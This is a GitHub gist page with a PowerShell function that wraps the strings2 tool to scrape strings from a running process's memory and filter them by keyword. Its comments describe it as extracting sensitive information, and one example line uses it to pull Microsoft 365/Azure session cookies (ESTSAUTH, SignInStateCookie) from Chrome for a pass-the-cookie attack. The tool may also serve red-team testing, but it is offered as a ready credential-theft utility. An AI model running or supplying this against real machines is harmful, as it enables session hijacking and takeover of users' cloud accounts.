Skip to content

Instantly share code, notes, and snippets.

@LuemmelSec
Created May 9, 2023 07:48
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save LuemmelSec/3f2c4b7642dc7b2ae63601ed02ec3db5 to your computer and use it in GitHub Desktop.
Save LuemmelSec/3f2c4b7642dc7b2ae63601ed02ec3db5 to your computer and use it in GitHub Desktop.
A wrapper for strings2.exe to extract sensitive info out of processes
# This scriplet relies on https://github.com/glmcdona/strings2
# Import the script: PS> import-module .\Process_String_Extractor.ps1
# Run the function: PS> ScrapeProcessMemory -Strings2Path "D:\Tools\Strings2.exe" -Processname notepad -SearchString "Hello World"
# To extract Cookies for O365 / Azure PTC Attack: PS> ScrapeProcessMemory -Strings2Path "D:\Tools\Strings2.exe" -Processname chrome -SearchString "ESTSAUTH","SignInStateCookie"
function ScrapeProcessMemory {
    Param(
        [Parameter(Mandatory)]
        [string]$Processname,
[Parameter(Mandatory)]
        [string]$Strings2Path,
        [Parameter(Mandatory)]
        [string[]]$SearchString
    )
    $Process = Get-Process -Name $Processname
  Write-Host("Found  the following PIDs: " + $Process.Id)
    Write-Host("for Process: " + $Processname)
    Write-Host("Now searching memory for " + $SearchString)
    $ProcessPIDs = $Process.Id
    foreach ($ProcessPID in $ProcessPIDs) {
        $stringsOutput += & $Strings2Path -pid $ProcessPID -a -wide
    }
    $stringsOutput | Select-String -Context 1,0 -Pattern $SearchString    
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment